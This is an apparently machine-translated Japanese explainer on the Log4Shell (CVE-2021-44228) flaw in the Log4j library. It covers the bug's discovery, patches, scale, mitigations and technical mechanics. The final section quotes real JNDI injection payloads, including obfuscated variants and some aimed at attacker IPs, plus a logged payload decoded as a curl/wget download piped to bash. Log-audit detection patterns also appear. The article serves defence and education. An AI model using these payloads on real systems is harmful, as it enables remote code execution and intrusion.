Log4jの脆弱性とは何ですか？それはインターネットにどのように影響しますか？

Javaは、モバイル、デスクトップ、サーバー、IoTデバイス、ルーター、プリンター、コピー機などのI.T.関連デバイスのいたるところにあります。人気のあるソフトウェアアプリケーションやゲームの大部分は、カスタマイズされたエンタープライズアプリケーションとともにJavaを使用して開発されています。大まかな見積もりでは、30億台のデバイスがJavaを実行しています。 Javaライブラリは、Javaの堅牢性を別のレベルに引き上げます。そのようなライブラリの1つは、オープンソースのApacheSoftwareFoundationによって開発されたLog4Jです。このLog4Jライブラリは、Javaロギングフレームワークの重要な部分であり、アプリケーションのエラーメッセージをログに記録する役割を果たします。

Log4Jライブラリの使用

ロギングは、開発者がアプリケーションが実行しているすべてのアクティビティを確認するのに役立ち、ほぼすべてのソフトウェアアプリケーション（クラウドベースであっても）がエラーのログを作成します。開発者は通常、アプリケーションのロギングシステムを作成せず（車輪の再発明を行わないため）、すでに確立されているロギングライブラリ（コーディングと開発の一般的な基準）と最も人気のあるロギングの1つを使用することを好みます。 JavaのライブラリはLog4J 。

したがって、ほぼすべてのアプリケーション （政府、機関、企業、Microsoft、Apple、Googleなどによるアプリケーションを含む）Javaで記述 このライブラリが存在する可能性があり、そのようなライブラリの脆弱性はサイバーセキュリティの最悪の悪夢である可能性があります そして夢はハッカーのために実現します。さらに、このライブラリはオープンソースであるため、公式の数字はありません このライブラリを使用しているデバイス/アプリケーションの数。

Log4Jは、多くの人気のあるアプリケーションで使用されています （Twitter、Apple iCloudなど）、ゲーム （Minecraft、Steamなど）、ウェブサイト 、など。これらに加えて、このライブラリは多くの他のフレームワークの一部でもあります。 Kafka、Elasticsearch、Flinkなど。 Log4Jエクスプロイトに対して脆弱なアプリケーション、製品、プラグインのリストは継続的に増加しています。

Log4Jの脆弱性の検出

最初のレポート Log4Jの脆弱性は、最初は1 ^st に表面化されました。 2021年12月ChenZhaojun 標準的なバグハンティングの実践として、また責任あるI.T.としてAlibabaCloudSecurityチームから。人は、この欠陥についてApache Foundationに通知しました（ただし、一部のバグハンターはそのような脆弱性をハッカーに販売し、そのような脆弱性は数か月または数年にわたって検出されません）。 検出 Minecraftで発生しました 。 Minecraftのチャット機能 Log4Jエクスプロイトの識別元です。

ゲームのチャットアルゴリズムは、Log4Jライブラリを使用するJava APIに基づいており、このライブラリにより、悪意のあるユーザーはMinecraftサーバーをフリーズしたり、すべてのプレーヤーを削除したりできます。好ましい環境では、この脆弱性はリモートコード実行によって簡単に操作できました。 （RCE） 、脆弱性の脅威レベルを高めます。

Log4Jライブラリに脆弱性が存在することは、9日 に公に認められました。 Apacheによる2021年12月。脆弱性は名前が付けられました Log4Shellとして 正式にラベル付けされた CVE-2021-44228として 。 CVE（ C オモンV 脆弱性とE xposures）ナンバリングシステムは、世界中で検出された各脆弱性/エクスプロイトを一意に識別するための命名法です。

Log4Jは、ゼロデイに分類されます。 （または0日）脆弱性。ゼロデイ脆弱性とは、開発者が欠陥を認識し、エクスプロイトのパッチを実装するためのゼロデイがある前であっても、脆弱性がすでにハッカーの標的になっていることを意味します。

Log4Jライブラリの影響を受けるバージョンとリリースされたパッチ

Log4Jバージョン2.0から2.14.1 脆弱性の影響を受けると報告されています。 Log4Jバージョン2.15.0 元のパッチでした CVE-2021-44228向けにリリースされましたが、その後、 CVE-2021-45046 というラベルの付いたLog4J（ほとんどの場合、デフォルト以外の構成）に別の脆弱性が見つかりました。 。この脆弱性はセキュリティに影響を与えました 3.7の （元の脆弱性と比較してかなり低い）。その後、ApacheFoundationはLog4jバージョン2.16をリリースしました。 元の修正でエクスプロイトにパッチを適用します。

この記事に取り組んでいるときに、別のパッチLog4Jバージョン2.17 CVE-2021-45105というラベルの付いたLog4Jの脆弱性 （サービス拒否/ DoS攻撃）はApacheからリリースされています。パッチに関する情報は、ApacheWebサイトの公式Log4Jセキュリティページで入手できます。

多くの読者は、パッチがすでにLog4Jに適用されているのに、なぜこのファズなのかと思うかもしれません。 Log4Jライブラリの最新バージョンにはパッチが適用されていますが、古いバージョンのLog4Jをまだ使用しているアプリケーション、製品、プラグインなどにはパッチが適用されていません。また、アプリケーションがアバンダンウェアになり、脆弱なバージョンのLog4Jを使用している場合もあります。アバンダンウェアは、その所有者/製造業者によって無視されている/さらに開発されておらず、公式のサポートがないソフトウェア製品です。

Log4Jエクスプロイトの規模

セキュリティへの影響の評価では、Log4Jエクスプロイトは10/10（可能な限り最高のリスクレベル）として簡単に分類できます。この脆弱性の規模は非常に大きいため、すべての主要なプレーヤー（Microsoft、Google、Ciscoなど）と政府およびApache（Log4Jの開発者）が昼夜を問わず脆弱性にパッチを当てています。これらの企業の懸念と対応は、公式Webページまたはソーシャルメディアアカウントで確認できます。脆弱性の重大性は、ジェンイースタリーCISAディレクター （米国 C ybersecurityと私 nfra s 構造A gency）は、Log4Jエクスプロイトを次のように言及しました

最も深刻ではないにしても、私のキャリア全体で見た中で最も深刻なものの1つ。

そして、この深刻さのために、IT業界のリーダーは Log4J 脆弱性は悩まされ続ける 何年にもわたる業界 来る。

Log4Jの脆弱性が以前に検出されなかったのはなぜですか？

Log4Jライブラリが2013年から利用可能になっているため、なぜこのような規模の脆弱性が早期に検出されなかったのかという疑問が多くのユーザーの頭に浮かびます。ただし、 USA 2016 BlackHatEvents Log4Jの脆弱性が提示され、攻撃ベクトルとしてJNDIが説明されましたが、現在の脆弱性は、JNDIの使用を可能にする一種のテンプレートインジェクションです。

しかし、ソフトウェアアプリケーションでは、新しいテクノロジーが出現するにつれてエクスプロイトを検出するのは困難です。業界の変化（たとえば、インターネットの発明前とインターネット後のソフトウェアアプリケーションは別の話です）。また、前述のように、2.0より前のバージョンのLog4Jライブラリは影響を受けません（問題があります）。したがって、テクノロジーの進歩 このエクスプロイトが検出された理由です。

Log4Jの脆弱性を使用した攻撃

町での新しいエクスプロイトにより、ハッカーはエクスプロイトを使用するためにツールを標的にしています。このエクスプロイトを標的とするマルウェアが最初に気付いたのはCryptoMiners （影響を受けるマシンから暗号通貨をマイニングします）。その後、コバルトストライクが続きました （侵入テスト）感染したシステムからユーザー名/パスワードを盗む。その後、 Khonsariのようなランサムウェアベースのマルウェアが船に加わりました。 そしてリストは進行中です 。最後になりましたが、国家が支援するハッキンググループ さまざまな国がこの脆弱性を悪用してライバルを標的にしています。これは、実行されたと報告された攻撃に関するESETのマップです（米国、英国、ドイツ、トルコ、オランダで最も大量の攻撃が行われています）。

これまで、1800000プラスがあります 報告されたインシデント ハッカーによるこのLog4Jエクスプロイトの使用の試みの（そしてカウント）。また、企業ネットワークの40％以上 この脆弱性を使用して攻撃されます。 エクスプロイトコードの可用性 さまざまなサイト 問題を最悪にしました。さらに、エクスプロイトをターゲットにすることができるため、事態は複雑になります。 HTTP およびHTTPSプロトコル 。

しかし、それはまるでマルウェアワームのように出発点にすぎません。 脆弱性をターゲットにすることが開発された場合、その影響は元の脆弱性よりもはるかに大きくなる可能性があります。なぜなら、コンピュータワームは、それ自体を静かに複製し、ネットワーク全体に広がるスタンドアロンのソフトウェアです（ CodeRedワームなど）。 2000年代またはWannaCry 2017年）。

仕組み

Log4Jライブラリ（およびロギングフレームワーク）は、アプリケーションが実行していることを追跡し、エクスプロイトを使用するために、攻撃者はLog4Jのログエントリを強制するだけで済みます。 アカウントのユーザー名を設定したり、コード文字列をメールで送信したりするなどの簡単なタスクで。攻撃者がロギングフレームワークでアプリケーションのログエントリを作成すると、アプリケーションごとに異なる可能性があります。 （たとえば、Minecraftではチャット機能が使用されていました）またはコンピューター間。悪意のあるコードを含むこのようなログエントリが作成されると、攻撃者は悪意のあるコードをマシンにロードし、システムを完全に制御することができます。 、ネットワーク全体に拡散し、マルウェアをインストールし、別の形式の攻撃を開始するなど。

この脆弱性の最も危険な部分は、「事前認証」されていることです。 、」これは、ハッカーが脆弱なシステムにサインインして制御する必要がないことを意味します。

このエクスプロイトは、次の手順で簡単に説明できます ：

1. エクスプロイトはハッカーによってトリガーされます ユーザー提供の入力を介して悪意のあるペイロードを送信する。このペイロードは、HTTP / HTTPSヘッダー、またはLog4jを使用して脆弱なアプリケーションによってログに記録されているその他のものである可能性があります。
2. アプリケーションのログ データへの悪意のあるペイロード。
3. Log4Jライブラリ 解釈しようとします 悪意のあるユーザーが入力し、ハッカーが制御するサーバーに接続する （例：LDAP）。
4. 悪意のあるサーバー （例：LDAP）応答を返します アプリケーションにロードするように指示します リモートクラスのJavaファイル 。
5. アプリケーションがダウンロードしてリモートを実行します ファイル これにより、ハッカーが不正行為を実行するための扉が開かれます。

このプロセスは次のチャートで説明されています：

安全ですか？

それで、上記を通過した後、ユーザーの心に疑問が浮かびます。それは私が安全かどうかということです。 状況によって異なります 。ユーザーがJavaLog4Jライブラリを使用する組織の一部である場合、そのユーザーとその組織は危険にさらされます。ユーザーまたはその組織がJavaベースのものを使用していない場合（ほとんどの場合）、エンタープライズアプリケーションの依存関係がある場合は、3番目の パーティベンダーのユーティリティまたはアプリケーションはJavaベースであるため、ユーザーまたはその組織が危険にさらされる可能性があります。使用しているアプリケーションが脆弱な場合は、インターネットで検索できます。

何をしますか？

さて、究極の質問は、Log4Jの脆弱性がシステムまたは組織に存在する場合の対処方法です。

ユーザー向け

一般的なエンドユーザーは実質的なことは何もできません 彼のアプリケーション（特にウイルス対策/マルウェア対策アプリケーション）、デバイス、またはOSを最新の状態に保つことを除いて、この脆弱性について。ユーザーがアバンダンウェアの形式を使用している場合 、それからそれをアンインストールすることは彼のシステムを安全に保つかもしれません。また、オンラインサービスを使用している場合 （Streamのように）次に、パッチが適用されていることを確認します （公式ページまたはソーシャルメディアのハンドルを確認してください）は、一般的なユーザーにとって前進する方法です。

組織の場合

Log4Jのエクスプロイトから組織を保護するためのマイレージは、組織ごとに異なる可能性があります。 。最初のステップは、監査を行うことです。 インフラストラクチャ全体、アプリケーションの依存関係、3番目の 脆弱性が存在するかどうかを確認するためのパーティベンダーユーティリティ、またはリモートの従業員。監査では、次のパターンまたはその派生のアプリケーションログを探す必要があります。

${jndi:ldap:/}

${jndi:ldaps:/}

${jndi:rmi:/}

${jndi:dns:/}

${jndi:iiop:/}

組織は自動化された脅威ハンティングを使用することもできます および調査ツール （TrendMicroのLog4J Vulnerability Testerなど）Log4Jの脆弱性があるアプリケーションを見つけます。組織の開発者は、Log4Jの脆弱性への参照がないかコードをチェックするタスクを実行する必要があります。また、インターネット対応デバイス 組織の大惨事を回避するために、可能な限り早い時期にパッチを適用する必要があります。組織は、脆弱性を標的にするために、他の組織より少なくとも7日進んでいる悪者と競争しなければならないため、可能な限り迅速に行動する必要があります。

次に、Webアプリケーションファイアウォール また、組織のリソースとデータを保護するために、できるだけ早く配置する必要があります。ほぼすべての主要なプレーヤー（Microsoft、Oracle、Apple、Google、Amazonなど）は、サービスを更新し、製品のパッチをリリースしています。したがって、組織は、使用しているすべてのアプリケーションとサービスに最新のパッチが適用されていることを確認する必要があります。さらに、企業組織は不要なインターネットトラフィックを制限する必要があります それらの曝露を減らすために、それはリスクレベルを減らすでしょう。

脆弱性の技術的側面

これまで、Log4Jの脆弱性を素人の用語でカバーしようとしましたが、このセクションでは、開発者の技術用語でLog4Jの脆弱性について説明します。この脆弱性は、 JNDIを使用して悪用されます （Java Naming and Directory Interface）ルックアップ。これにより、サービス拒否が発生する可能性があります （DoS）攻撃。 JNDIが${a_Java_expression}のような式を見つけると、その式の値を見つけて置き換えます。 Log4Jでサポートされているルックアップの一部 sys、JNDI、env、java、lower、upperです。 Log4Jルックアップでサポートされているプロトコルの一部 LDAP、DNS、RMI、およびIIOPです。アプリケーションログにエントリを挿入するために、攻撃者はサーバーへのHTTPリクエストを使用する可能性があり、リクエストを受信すると、Log4Jルックアップは、ObjectClass属性の場合、悪意のある.class（ハッカーが制御するLDAPサーバーでホストされる）をダウンロードして実行します。 LDAPオブジェクトでは、javaNamingReferenceとして定義され、次の属性があります。

javaCodebase

javaFactory

javaClassName

次に、LDAPオブジェクトローダー javaCodebaseで定義されている悪意のあるURLのコンテンツを抽出し、対応するオブジェクトを作成します メモリ内 。初期化メソッドまたはより正式には、前述のクラスのコンストラクター、信頼できないコードが実行されます。 信頼できないソースから 感染したマシンで実行されます。

最も基本的な表現 攻撃者がLog4Jに挿入できるのは

${jndi:ldap://{attacker_website}/a}

これにより、悪意のあるコードが実行されます ホスト on：

https://{attacker_website}/{malicious.class}

悪意のあるコードが正常に実行されると、サーバーは、JavaScript、Javaクラス、Unixシェルなどのさまざまな形式のシェルコマンドにつながる文字列を解釈します。

脆弱性の重大度を高めるもう1つの要因は、ネスティング能力です。 Java${}ブロックの これにより、疑わしい文字列の検出がはるかに困難になります。たとえば、ハッカーは$ {jndi：}を使用する代わりに、$ {$ {lower：jn} $ {lower：di}}を使用できます。これにより、ハッカーはリモートサーバーから情報/データを抽出できます。

読者の頭に浮かぶかもしれない興味深い質問は、コードをどこに置くかです。 Log4Jライブラリに到達できますか？多くのアプリケーションは、HTTPヘッダー（User-AgentやX-Forwarded-Forなど）、URI、リクエスト本文などの着信リクエストを含め、発生したすべてのことをログに記録します。最悪の部分は、攻撃者がそのようなリクエストをアプリケーションに送信できることです。すべてのインターネットからのロガーは、感染したマシンを制御するためのコマンドを与えることができます。このプロセスは、次の図で明確になっています。

以下は、いくつかの例です。 識別されたURL これまでのところ、さまざまなタイプの攻撃を開始します Log4Jライブラリを使用する：

${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}

${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}

${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}

以下は、HTTPサーバーログの一部です。 Log4Jエクスプロイトの試みを示す：

45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"

base64文字列 上記のログでは、次のようにデコードされます：

(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash

これにより、45.155.xxx.xxxから悪意のあるコードがフェッチされ、続いてBashを使用してスクリプトが実行されます。

最終的には、読者に警戒することを望んでいます。 この脅威に対抗し、この脆弱性のためにインターネットが攻撃されている理由があるため、軽視すべきではありません。